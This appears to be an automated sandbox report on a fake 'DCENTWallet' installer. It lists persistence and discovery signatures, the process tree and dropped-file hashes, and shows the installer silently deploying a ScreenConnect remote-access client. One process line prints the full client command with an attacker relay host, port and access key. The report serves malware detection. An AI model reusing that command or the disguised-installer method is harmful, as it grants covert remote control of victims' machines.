Analysis

  • max time kernel
    39s
  • max time network
    45s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 22:27

General

  • Target
    DCENTWalletSetup.exe
  • Size 46.0MB
  • Sample260808-2dah1aztas
  • SHA256 8bb7c501a132a681900d4f105ad90794a0a04d4d6f6764ac84864a925dbcdf38
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 28 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DCENTWalletSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\DCENTWalletSetup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3004
    • C:\Windows\SYSTEM32\mshta.exe
      mshta.exe "C:\ProgramData\DCENTWallet\DCENTWalletProgress.hta"
      2⤵
        PID:4256
      • C:\Windows\SYSTEM32\msiexec.exe
        msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\DCENTWallet_0E593A6F\Installer.msi" /quiet /norestart
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1712
      • C:\Users\Admin\AppData\Local\Temp\DCENTWallet_0E593A6F\setup.exe
        "C:\Users\Admin\AppData\Local\Temp\DCENTWallet_0E593A6F\setup.exe" /S
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:3152
      • C:\Windows\SYSTEM32\mshta.exe
        mshta.exe "C:\ProgramData\DCENTWallet\DCENTWalletComplete.hta"
        2⤵
          PID:1088
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Enumerates connected drives
        • Boot or Logon Autostart Execution: Authentication Package
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 3E6F1C0A3603A6D22DAA02D2B90CDE07
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:5032
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe "C:\Windows\Installer\MSI3E38.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240729984 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
            3⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:6880
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding CA937AAF1CE54AA85C898D10E1158C16 E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:860
      • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=87hermana26laafirmacion.vip&p=8041&s=aced57ad-444d-426e-9cb6-ed4e891eb98c&k=BgIAAACkAABSU0ExAAgAAAEAAQDRy0DjuZAhmR7PgstiFKtlAv7E0zbL1z3gc4FH00l1lD%2bIWV8X%2fGSyvbEnRBEK468qW1W1gQegLl9L0n%2fuTGKhCEMBuolF49rRwRNqOJDRyHTuZnOhTIVIlAiEtxUuCZvA2QSiY8hsbwKxsjSY26pabU%2fKe6gcAcD1NyQ6TEEUjNm8RwnMCGSzixQ3F0S%2bKNdiMTe1KRAMkFfOwF2VwIbhk90qEi1oodjVyXcq%2ft5veQGcFbfWxRE83cXVedxQvJwXV1OTzIxe%2f3QbI15XzwxuQDmQvkQDFWbfaoLO76iEaj8scMxebs9Uis5Ofa3J7WcT4kBEUx4y4Wrd3SUiRku%2f"
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:6180
        • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe" "RunRole" "fbc4538a-0af9-4f94-829b-f6f8e304489a" "User"
          2⤵
          • Executes dropped EXE
          PID:4844
        • C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe" "RunRole" "b005639d-6761-4f34-b0e8-54be6063196e" "System"
          2⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:6388

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e593c37.rbs

            • Path C:\Config.Msi\e593c37.rbs
            • Size 214KB
            • SHA256 d91db3b97386011fc3b80abf7245480f622d2918f85d623594e813dd1ccde6cc
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.Override.en-US.resources
            • Size 368B
            • SHA256 b3f0ca4ad4a60a92763f1fdb0dfc7a9371c499b702db48588d415d92b9c3625b
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.Override.resources
            • Size 54KB
            • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.en-US.resources
            • Size 47KB
            • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\app.config
            • Size 2KB
            • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (00c6ddecc376b76d)\system.config
            • Size 949B
            • SHA256 4f22f0b0b398c8f28e3595bb6150b31b5232940cd8f562322af5705221b88aa7
            • MD5 SHA1 SHA512 TLSH

            DCENTWalletComplete.hta

            • Path C:\ProgramData\DCENTWallet\DCENTWalletComplete.hta
            • Size 1KB
            • SHA256 1ef764f54a55f9fc1694e20896fa980ec2afd25efba86ce8193e943ff8da8653
            • MD5 SHA1 SHA512 TLSH

            DCENTWalletLogo.png

            • Path C:\ProgramData\DCENTWallet\DCENTWalletLogo.png
            • Size 9KB
            • SHA256 d5ca4b459c4a72d593dfa7b4e72f479db30dfdfb423bb89cec997c4c39490b07
            • MD5 SHA1 SHA512 SSDEEP TLSH

            DCENTWalletProgress.hta

            • Path C:\ProgramData\DCENTWallet\DCENTWalletProgress.hta
            • Size 1KB
            • SHA256 8a3bf00ec103ea6680f0ff74314bf20235171a9ff778d23a6f7e00c09493bc2f
            • MD5 SHA1 SHA512 TLSH

            Installer.msi

            • Path C:\Users\Admin\AppData\Local\Temp\DCENTWallet_0E593A6F\Installer.msi
            • Size 3.1MB
            • SHA256 382e3fb55b073d716be68a94d9b083ad2c8807b11e283f615366e1718020b709
            • MD5 SHA1 SHA512 SSDEEP TLSH

            setup.exe

            • Path C:\Users\Admin\AppData\Local\Temp\DCENTWallet_0E593A6F\setup.exe
            • Size 42.8MB
            • SHA256 ac0ddd23486927e557d8320783c334b1416d8788cdd9565751f658b4401bea38
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StdUtils.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsa5105.tmp\StdUtils.dll
            • Size 100KB
            • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            System.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsa5105.tmp\System.dll
            • Size 11KB
            • SHA256 a632d74332b3f08f834c732a103dafeb09a540823a2217ca7f49159755e8f1d7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            WinShell.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsa5105.tmp\WinShell.dll
            • Size 3KB
            • SHA256 9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6
            • MD5 SHA1 SHA512 TLSH

            nsProcess.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsa5105.tmp\nsProcess.dll
            • Size 4KB
            • SHA256 30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
            • MD5 SHA1 SHA512 SSDEEP TLSH

            nsis7z.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsa5105.tmp\nsis7z.dll
            • Size 424KB
            • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI3E38.tmp

            • Path C:\Windows\Installer\MSI3E38.tmp
            • Size 1.0MB
            • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Windows\Installer\MSI3E38.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Windows\Installer\MSI3E38.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Windows\Installer\MSI3E38.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Windows\Installer\MSI3E38.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI4454.tmp

            • Path C:\Windows\Installer\MSI4454.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/3004-377-0x00007FF6191B0000-0x00007FF6191C4000-memory.dmp

            memory/3004-420-0x00007FF6191B0000-0x00007FF6191C4000-memory.dmp

            memory/4844-133-0x000000001B470000-0x000000001B4B1000-memory.dmp

            memory/4844-132-0x0000000002C60000-0x0000000002C78000-memory.dmp

            memory/4844-123-0x00000000007F0000-0x0000000000888000-memory.dmp

            memory/4844-124-0x0000000002C20000-0x0000000002C56000-memory.dmp

            memory/4844-125-0x000000001B860000-0x000000001B8EE000-memory.dmp

            memory/4844-126-0x000000001BAA0000-0x000000001BC4C000-memory.dmp

            memory/4844-127-0x000000001BC50000-0x000000001BDD8000-memory.dmp

            memory/4844-131-0x0000000001200000-0x0000000001218000-memory.dmp

            memory/6180-111-0x0000000003D40000-0x0000000003D81000-memory.dmp

            memory/6180-109-0x0000000004090000-0x0000000004122000-memory.dmp

            memory/6180-113-0x0000000004280000-0x0000000004355000-memory.dmp

            memory/6180-107-0x0000000003DD0000-0x0000000003E06000-memory.dmp

            memory/6180-103-0x0000000003D80000-0x0000000003DD0000-memory.dmp

            memory/6180-82-0x00000000015A0000-0x00000000015B8000-memory.dmp

            memory/6880-43-0x0000000006360000-0x000000000691A000-memory.dmp

            memory/6880-42-0x0000000005BF0000-0x0000000005D9C000-memory.dmp

            memory/6880-38-0x00000000059B0000-0x0000000005A3E000-memory.dmp

            memory/6880-34-0x0000000003870000-0x000000000387A000-memory.dmp

            memory/6880-30-0x0000000003840000-0x000000000386E000-memory.dmp